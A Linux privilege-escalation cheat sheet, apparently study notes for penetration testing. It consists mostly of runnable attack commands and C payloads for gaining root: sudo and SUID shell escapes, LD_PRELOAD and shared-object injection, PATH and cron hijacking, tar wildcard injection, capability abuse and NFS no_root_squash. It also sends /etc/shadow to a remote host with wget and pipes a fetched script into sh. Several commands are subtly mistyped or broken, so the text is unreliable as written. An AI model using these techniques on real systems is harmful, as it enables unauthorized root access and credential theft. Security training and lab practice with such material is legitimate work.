Basic Linux Privilege Escalation Method & Methodology

Some examples with Van Harlem

Manual System Enumeration

uname -a	Kernel version
cat /proc/version	Kernel version
lscpu	Architecture (some exploits require multiple threads/cores)
ps aux	See what user is running what services
ps aux | grep <uname>	See what services current user is running
sudo -V	sudo version

Manual User Enumeration

id	Uid by group
sudo -l	User privileges
cat /etc/passwd	Password file
cat /etc/shadow	Check access to shadow file (sensitive)
cat /etc/passwd | cut -d : -f 1	Show all users
history	
cat /etc/sudoers	list sudo accounts

Manual Network Enumeration

ifconfig	Or ‘ip a’ depending on Linux version
ip route	Check arp table.
arp -a	Or ‘ip neigh’ depending on Linux version. Check for neighboring connections.
netstat -ano	Check which ports are open and what communications exist. Nmap does not reveal loopback connections.

Quick Manual Password Hunting

grep --color=auto -rnw ‘/’ -ie “PASSWORD” --color=always 2> /dv/null	Identify sensitive files containing the word “password” and display in the color red. Also try ‘PASS=’.
locate password | more	Identify sensitive files with words same or similar to “password” in the file name.
find / -name id_rsa 2> /dev/null	Locate rsa secret key

Automated Tools

PEASS - Privilege Escalation Awesome Scripts SUITE	https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git
LES: Linux privilege escalation auditing tool	https://github.com/mzet-/linux-exploit-suggester.git
Linuxprivchecker.py	https://github.com/sleventyeleven/linuxprivchecker.git

Powerful Libraries

Impacket	https://github.com/SecureAuthCorp/impacket.git
[redacted]	[redacted]
GTFOBins	https://gtfobins.github.io/
GTFOBLookup	https://github.com/nccgroup/GTFOBLookup.git
kernel-exploits	https://github.com/lucyoa/kernel-exploits.git
PayloadsAllTheThings	https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
Exploitdb	https://www.exploit-db.com/
Hashcat Generic Hash Types	https://hashcat.net/wiki/doku.php?id=example_hashes
Pentest Monkey	http://pentestmonkey.net/

Escalation via Kernel Exploit

Search Kernel version for exploits on Exploitdb	Google method Provides CVE references and links to exploits
Run LES: Linux privilege escalation auditing tool	Script method provides CVE references and links to exploits

Download exploit, check the README and compile to run.

Escalation Path: Passwords and Weak File Permissions

Escalation via Stored Passwords

history	
cat .bash_history	If history is not available, you may be able to cat .bash history.
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;	Search current folder for passwords
curl http://<local server> linpeash.sh | sh	Curl linpeas from local server (Python or Apache2) and pipe into bash to avoid writing to disc. This method will avoid

	generating external traffic.

Escalation via Weak File Permission

Do we have access to a file we shouldn't as a user? Can we modify it?

ls -la /etc/passwd	Check for write access.
ls -la /etc/shadow	Check for read access.
unshadow <passwd> <shadow>	Unshadow /etc/passwd file and run through john or hashcat (identify mode by searching Hashcat Generic Hash Types)

Escalation via SSH Keys

Is there an SSH private hey being utilized somewhere?

find / -name authorized_keys 2> /dev/null	Search public Keys
find / -name id_rsa 2> /dev/null	Search private keys
nano id_rsa chmod 666 id_rsa ssh -I id_rsa root@<IP>	Copy id_rsa into fie and attempt ssh login.

Escalation Path: Sudo

Escalation via Sudo Shell Escaping

GTFOBins library provides shell escape sequences.

sudo -l	Check user permissions and search GTFOBins for known shell escape sequenecs with sudo privileges.
sudo vim -c ':!/bin/sh'	Common shell escape sequence for VIM editor. This can produce strange garble. Another way is to sudo into VIM and type !bash at the bottom. Exiting will exit into root.
sudo awk 'BEGIN {system("/bin/sh")}' or sudo awk 'BEGIN {system("/bin/bash")}'	Common shell escape sequence for /usr/bin/awk. Change sh to bash for command line instead of shell.

Practice on Try Hack Me's Linux PrivEsc Playground (over 80 Sudo shell escapes).

Escalation via Intended Functionality

If there are no escape shell available, we can try abusing intended functionalities. Searching GTFOBins with a term like "Apache" will not return anything results. However, you can view Apache system files to understand the intended functionality (man pages), and then focus on those functionalities.

sudo apache2 -f /etc/shadow	Abusing apache2 untended functionality
sudo wget -post-file=/etc/shadow <IP:PORT>	Abusing wget untended functionality

Escalation via LD_PRELOAD

LD_PRELOAD is a dynamic linker that pre-loads and links the shared libraries needed by an executable when it is executed. This can be used to execute a library of the attacker's choice. The script will be as follows:

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

(PIC = position independent code)

Save as shell.c and compile with:

```
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
```

sudo LD_PRELOAD=/home/user/shell.so apache2	Runs script (must include full file path) and then runs a program.

Escalation via Sudo CVE-2019-14287

This common exploit becomes interesting when you see the following after sudo -l:

“User hacker may run the following commands on kali:

(ALL, !root) /bin/bash “

sudo -u#-1 /bin/bash	https://www.exploit-db.com/exploits/47502

Escalation via Sudo CVE-2019-18634

Any sudo before 1.8.26 was vulnerable to this. Seeing passwd feedback after attempting sudo su indicates the vulnerability may exist.

Compile with gcc and ./exploit	https://github.com/saleemrashid/sudo-cve-2019-18634

Escalation Path: SUID

Consider the chmod 777 file command from a bits perspective, for a sudo user with -rwxr--r--. Here, r = 4 bits, w = 2 bits and x = 1 bit. The sum of rwx is 7. Therefore, a chmod of 777 will request rwx across the board. From here, chmod 666 and chmod 444 are self-explanatory.

Escalation via SUID

Set user ID allows users to execute a file with permissions of a specified user.

find / -perm -u=s -tupe f 2> /dev/null	Locate SUID’s
find / -type -f perm -04000 -ls 2> /dev/null	Locate by SUID bits
ls -la <file>	Confirm SUID bits
sudo sh -c 'cp $(which systemctl) .; chmod +s ./systemctl' TF=$(mktemp).service echo '[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target' > $TF ./systemctl link $TF ./systemctl enable --now $TF	The SUID for systemctl. Line two creates an environmental variable. Lines three to six echo a service called $TF into the /tmp/ folder, and this service runs /bin/sh. Line seven sets a run level of multiuser. Line eight creates a system link to $TF and line nine executes the service.

Refer to GTFOBins library for vulnerable SUID’s.

Escalation via SUID Shared Object Injection

Particular attention will be paid to SUID-SO files - the Linux equivalent of Windows DLL. For example, /usr/local/bin/suid-so. The script will be as follows:

```
#include <stdio.h>

#include <stdlib.h>


static void inject()_attribute_((constructor));


void inject()    {

    system(“cp /bin/bash /tmp/bash && chmod +s /tmp/bash &&
/tmp/bash -p);

}
```

Save as script and compile with:

gcc -shared -fPIC – o <path to .so file> <location of this library>

strace /usr/local/bin/suid-so 2>&1	Use strace to monitor interactions between processes and the Linux kernel.
strace /usr/local/bin/suid-so 2>&1 | grep -I -E “open|access|no such file”	Use strace to monitor interactions between processes and the Linux kernel, targeting missing files (“no file found”).

Use ls -la on a target folder to see if the bit is set and record all such targets.

Escalation via SUID Binary Symlinks

This comes in handy when trying to priv-esc from www-data. In this example, Nginx (http/rev proxy server) log permissions are vulnerable/writable (CVE-2016-1247) - as Linux privilege escalation auditing tool would uncover. The exploit script is publicly available.

dpkg -l | nginx	De-package and view CVE-2016-1247
find / -type -f perm -04000 -ls 2> /dev/null	Locate by SUID bits and look for web service log files.
ls -la /var/log/nginx	Have a look at nginx log files, looking for rwx
./nginxed-root.sh /var/log/nginx/error.log	Execute CVE-2016-1247 and point to path the of nginx error.log. A

	symlink will be placed in the log file.

This exploit requires a restart of target service. Once nginx rotates, an attacker will gain root. If a web server is directly connected to a device which has been rooted, one could rotate ngnx with: invoke-rc.d nginx rotate >/dev/null 2>&1.

Escalation via SUID Environment Variables

Particular attention will be paid to environmental variables in service paths. Here, suid-env and suid-env2 are vulnerable environment variables.

Relative path PoC.

env	View all environmental variables
find / -type -f perm -04000 -ls 2> /dev/null	Locate by SUID bits and look for SUID files calling a service without a direct path.
/usr/local/bin/suid-env	Run file to view behavior.
strings /usr/local/bin/suid-env	Run strings to identify services. . In this case we see a relative path, like service apache2 start.
print $PATH	View path.
echo ‘int main() { setgid(0); setuid(0); system(“/bin/bash/”); return 0;} > /tmp/service.c	Create malicious service in temp folder.
gcc /temp/service.c -o /temp/service	Compile malicious service in temp folder.
export PATH=/tmp:$PATH	Change path to temp folder. Temp folder should become the primary environmental variable. Confirm by viewing print $PATH

Running /usr/local/bin/suid-env will execute our malicious script in tmp folder. This is very similar to Windows .bin path exploitation.

Direct path PoC.

env	View all environmental variables
find / -type -f perm -04000 -ls 2> /dev/null	Locate by SUID bits and look for SUID files calling a service without a direct path.
/usr/local/bin/suid-env2	Run file to view behavior.
strings /usr/local/bin/suid-env2	Run strings to identify services. In this case we see a direct path, like /usr/sbin/service apache2 start.
print $PATH	View path.
function /usr/sbin/service() {cp /bin/bash/ /tmp && cmod+s /tmp/bash && /tmp/bash -p; }	Create malicious user made function.

export -f /usr/sbin/service/	Export function to target path. “-f” means refer to shell function - which we have defined in the previous step.

Escalation Path: Linux Capabilities

Linux capabilities were introduced from Linux Kernel 2.2 onwards. Interesting capabilities include:

openssl=ep	=ep means the binary has all the capabilities
cap_dac_read_search	Read anything
cap_setuid+ep	Set SUID

Linpeas will automate the finding process.

To locate Capabilities:

setcap -r <file path>	Check Capabilities of specific file.
getcap -r / 2>/dev/null	Scan entire system for capabilities recursively.

Python Capability - priv-esc

pwd	Check user tied account
ls -al python3	Check permission
./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'	Make system run /bin/bash with uid 0.
id	

Pearl Capability - priv-esc

pwd	Check user tied account
ls -al pearl	Check permission
./perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'	Make system run /bin/bash with uid 0.
id	

Tar Capability - Shadow File Permissions Bypass

./tar cvf shadow.tar /etc/shadow	Compress /etc/shadow with tar.
./tar -xvf shadow.tar	Extract shadow.tar.
cat -8 etc/shadow	Use cat/head/tail or program to read.

Escalation Path: Scheduled Tasks

An interesting cron job is ***** root <script/path>

Look for access with write permission on these files.

/etc/init.d /etc/cron* /etc/crontab /etc/cron.allow /etc/cron.d /etc/cron.deny /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly /etc/sudoers /etc/exports /etc/anacrontab /var/spool/cron /var/spool/cron/crontabs/root	crontab -l ls -alh /var/spool/cron; ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny*

You can use ./pspy64 -pf -i 1000 to detect a cronjos running.

Escalation via Cronjobs

Escalation via Cronjobs implements a similar logic to Escalation via Path Environment Variables. Here, the interesting cronjobs are ones which don't exist as a file in their stated path folder. For example, ***** root cronjob.sh.

cat /etc/crontabs	List cronjobs
ls -la <path variable>	View path variable and check whether script.sh is missing in folder of path being executed.
echo 'cp /bin/bash/ /tmp/bash; chmod+s /tmp/bash' > <path to missing cronjob.sh>	Create script.sh with SUID bit in folder of path being executed. Use the original cron job name.
chmod +x <path to cronjob.sh>	Make cronjob.sh executable.
/tmp/bash -p	Execute after cronjob has run.

Escalation via Cron Wildcards

Here, the interesting cronjobs are service commands which are injectable due to the presence of a Wildcard. For example, a command with a Wildcard inside of cron. This attack is an option against files which are not modifiable.

cat /etc/crontabs	List cronjobs
ls -la <path variable>	View path variable to check permissions on a service. Also

	check the folder which Cron Wildcard is reading from.
echo ‘cp /bin/bash/ /tmp/bash; chmod+s /tmp/bash’ > <script.sh>	Create script.sh with SUID bit in /tmp.
chmod +x <script.sh>	Make script.sh executable.
touch <location script.sh>--checkpoint=1	Tar display progress messages every 1 record. Location of script.sh must be the folder a Cron Wildcard is reading from.
touch <script.sh location>--checkpoint-action=exec=sh\script.sh	Tar execute script.sh at checkpoint.
/tmp/bash -p	Run scipt.sh

Escalation via Cron File Overwrites

Here, the interesting cronjobs are files that have rw permissions. Although such files can be overwritten with reverse shells, here, the intention is to escalate one’s privilege on the local machine.

cat /etc/crontabs	List cronjobs
ls -la <path variable>	View path variable to a service for rw permissions.
echo ‘cp /bin/bash/ /tmp/bash; chmod+s /tmp/bash’ >> <path to cron job>	Write to target cron job.
cat <path cron job>	Confirm successful write.
/tmp/bash -p	Execute after cronjob has run.

Escalation Path: NFS Root Squashing

This vulnerability exists on a system which does not have root_squash enabled. Here, one attempts to remap root UID from 0 to an anonymous user.

cat /etc/exports	Check if root_squash is enabled. If disabled, the /tmp folder can be mounted.
showmount -e <ip of target machine>	Test /temp folder from attack box.
mkdir /tmp/mount	Create a directory to mount
mount -o rw,vers=2 <target IP>:/tmp /tmp/mount	Mount directories
echo ‘int main() { setgid(0); setuid(0); system(“/bin/bash/”); return 0;} > /tmp/mount/script.c	Create malicious ‘script’.
gcc /tmp/mountme/file.c -o /tmp/mount/scrip2	Compile to mounted drive.
chmod +s /tmp/mount/script2	Make executable.
./script2	Execute

With no root_squash, a remote user has root access to a system.